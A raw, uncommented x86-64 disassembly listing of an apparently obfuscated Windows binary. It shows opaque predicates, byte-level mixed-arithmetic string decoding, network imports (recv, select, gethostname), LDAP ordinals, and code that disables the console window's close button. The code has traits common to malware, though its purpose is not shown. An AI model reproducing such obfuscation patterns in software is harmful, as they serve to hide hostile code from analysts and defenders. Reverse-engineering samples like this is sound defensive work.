je 0x1400bbb5b
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bbb3e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bbb0d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bb6f0
lea r8, [r9 + 0xa]
lea r9, [r8 + 9]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bc0b1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bc094
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bb8d1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bb8b5
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bb899
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bbac4
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bba7f
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bba43
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bba1b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bb6f0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400bb9ed
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400bb9cd
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bb9b2
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bb995
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bb975
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bb956
lea rcx, [r9 + 4]
cmp r8, rcx
ja 0x1400bb933
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bb90d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bb8ed
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400bb6f0
mov r8, rcx
lea r9, [rcx + 3]
jmp 0x1400bb6f0
lea esi, [r10 - 0x71]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
add sil, 0x17
add sil, r11b
jmp 0x1400bb6e3
lea esi, [r10 + 0x75]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x33
add sil, r11b
jmp 0x1400bb667
lea esi, [r10 + 0x5b]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x7d
add sil, r11b
jmp 0x1400bb600
lea ecx, [r10 - 0x78]
movzx eax, r11b
and al, cl
mov esi, 0x24
sub sil, al
add sil, sil
add sil, r11b
add sil, cl
jmp 0x1400bbf49
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
sub sil, 2
inc r9
dec rdi
inc rdi
jmp 0x1400bb5e2
add r10b, 0x54
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
sub sil, 0x4c
dec rdi
inc rdi
jmp 0x1400bb5e2
lea edx, [r10 + 0x3a]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, dl
jmp 0x1400bbf90
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r10b
jmp 0x1400bbfb2
add r10b, 6
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x2a
jmp 0x1400bbfb5
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x74
jmp 0x1400bbff4
sub r10b, 0x2e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bc01f
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 8
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
sub r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x3f
mov byte [rbp + rdi + 0xe0], sil
inc rdi
jmp 0x1400bb5e2
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0xb
cmp r9, 0x7a
jb 0x1400bba33
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
mov edx, Ordinal_35
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea esi, [rdx + rdx]
jmp 0x1400bbf49
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x55
cmp r8, 4
jae 0x1400bbe3a
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400bbd8f
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x26
jmp 0x1400bba59
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x61
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400bbe58
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x1400bbce5
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x2f
jmp 0x1400bba95
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x14
jmp 0x1400bc01f
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x5e
jmp 0x1400bbff4
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bbfb5
sub r10b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bbfb2
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x3c
jmp 0x1400bbf90
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
dec rdi
inc rdi
jmp 0x1400bb5e2
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bb5e2
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x1a
jmp 0x1400bbf49
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400bbc5f
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x25
jmp 0x1400bbada
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bbc99
add r10b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bbcbd
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x5a
jmp 0x1400bbff4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bbada
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x7c
jmp 0x1400bbf90
jne 0x1400bbd02
lea ecx, [r10 - 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x1b
jmp 0x1400bbf49
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bbd2e
sub r10b, 0x19
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x51
dec rdi
inc rdi
jmp 0x1400bb5e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bbd54
add r10b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x73
jmp 0x1400bbfb5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bba95
sub r10b, 0x7d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x6b
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bbdc9
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bbded
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x48
jmp 0x1400bbff4
cmp r8, rcx
jne 0x1400bbe12
sub r10b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bbfb5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bba59
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x6a
jmp 0x1400bbf90
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 4
lea esi, [rcx + rcx]
add sil, dl
jmp 0x1400bbf90
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
jmp 0x1400bbff1
add r10b, 0x7b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x5d
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
add r10b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x3b
jmp 0x1400bbfb5
add r10b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x7b
jmp 0x1400bbfb2
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x31
jmp 0x1400bbf90
sub r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
sub sil, 0x19
dec rdi
inc rdi
jmp 0x1400bb5e2
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x53
jmp 0x1400bbf49
movzx r10d, dil
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x41
sub r10b, 0x45
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x1d
add r11b, r10b
mov byte [rbp + rdi + 0xe0], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bb5e2
movzx r10d, dil
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x1f
sub r10b, 0x2b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x2d
add r11b, sil
add r11b, r10b
mov byte [rbp + rdi + 0xe0], r11b
add r8, r9
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bb5e2
movabs rdx, 0xe2e00a243dc6fbdb
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx esi, r11b
sub sil, al
add sil, 3
movzx r10d, dil
add sil, dl
sub r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x77
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0xe0], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x64
add cl, r11b
mov byte [rbp + rdi + 0xe0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
movabs rcx, 0x85cdbb341a79d9a7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r11b, al
lea esi, [rcx + r11]
add sil, 0x6f
movzx eax, byte [rbp + rdi + 0xe0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bb5e2
add r10b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
add sil, 0x39
jmp 0x1400bb5e0
add r10b, 0x27
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
sub sil, 0x11
jmp 0x1400bb5d0
mov eax, dword [rbp + 0x174bf9c]
jmp 0x1400bc0e4
mov eax, dword [rbp + 0x1080829]
jmp 0x1400bc0e4
mov eax, dword [rbp + 0xe0]
cdqe
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14005a290
mov rcx, rax
call fcn.14005a300
jmp 0x1400b9ed2
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
mov edx, 0xf060
mov r8d, 1
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov byte [rbp + 0x180], 0x42
mov byte [rbp + 0x181], 0xae
mov byte [rbp + 0x182], 0x50
mov byte [rbp + 0x183], 0xaf
mov byte [rbp + 0x184], 0xab
mov byte [rbp + 0x185], 0xbd
mov byte [rbp + 0x186], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x187], xmm0
mov qword [rbp + 0x197], rax
mov dword [rbp + 0x19f], eax
movabs rsi, 0xd43c6da48b1957a8
movabs r15, 0xcda6ff7fcdb16598
movabs r14, 0x7cb548eda14c06f8
movzx edx, byte [rsp + 0x30]
xor r13d, r13d
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rbx, r13
cmp rbx, 0x23
jae 0x1400bcbcb
movzx r11d, byte [rbp + rbx + 0x180]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400bcbc2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bc1fb
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x68
jmp 0x1400bc235
je 0x1400bcb4c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bcac4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bca92
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bca70
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bca2a
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400bcbb9
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400bc269
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x1400bc290
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bca10
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bc9f0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc9d3
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bc711
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bc6f7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc6d2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bc6ac
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bc7bf
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bc690
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc674
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bc65a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bc2a0
lea r8, [r9 + 8]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bcb99
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bcb79
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bc459
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bc43f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bc422
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bc610
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bc5c7
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400bc58f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bc569
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400bc53c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bc520
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400bc503
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bc4e3
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bc4ce
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bc4b4
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bc492
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bc475
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bc2a0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0xa]
jmp 0x1400bc2a0
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc290
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x1400bc240
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400bc1d0
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bca43
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400bc1b3
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x1400bc992
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
jmp 0x1400bcaa9
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bcaac
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcadc
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
jmp 0x1400bcb09
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc1b3
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
mov byte [rbp + rbx + 0x180], dl
inc rbx
jmp 0x1400bc1b3
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
cmp r9, 8
jb 0x1400bc580
lea ecx, [r10 - 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x20]
jmp 0x1400bca43
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 0x64
jae 0x1400bc97b
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400bc8ad
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc5a4
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x1400bc9b9
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400bc7dc
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
jmp 0x1400bc5df
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400bcadc
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x1400bcaac
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x1400bcaa9
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bc1b3
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400bc1b3
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400bca43
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400bc72e
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
jmp 0x1400bc61f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc768
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc1b3
inc rax
cmp r8, rax
jne 0x1400bc78c
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x1400bcb09
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc7b2
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400bcaa6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc628
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc992
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc7ff
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x1400bca43
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bc824
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400bcaa9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bc849
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
jmp 0x1400bcaac
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc86f
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcadc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc5df
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc1b3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc8e7
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc1b3
inc rax
cmp r8, rax
jne 0x1400bc90b
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x1400bcb09
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc92e
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x1400bcadc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc954
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400bcaa6
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bc5a4
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x1400bca43
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x20
add cl, cl
add dl, cl
sub r10b, 0x18
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x180], r11b
jmp 0x1400bcaa9
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400bcadc
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcadc
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bcaac
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bca43
movzx r10d, bl
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
sub r10b, 0x68
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, r10b
mov byte [rbp + rbx + 0x180], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bc1b3
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bc1b3
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bc1b3
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x28
movzx r10d, bl
add r10b, 0x38
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x180], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x20]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, cl
mov byte [rbp + rbx + 0x180], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc1b3
lea rcx, [rbx + r14]
and dil, cl
mov eax, Ordinal_30
sub al, dil
lea edx, [rax + rax]
add dl, r11b
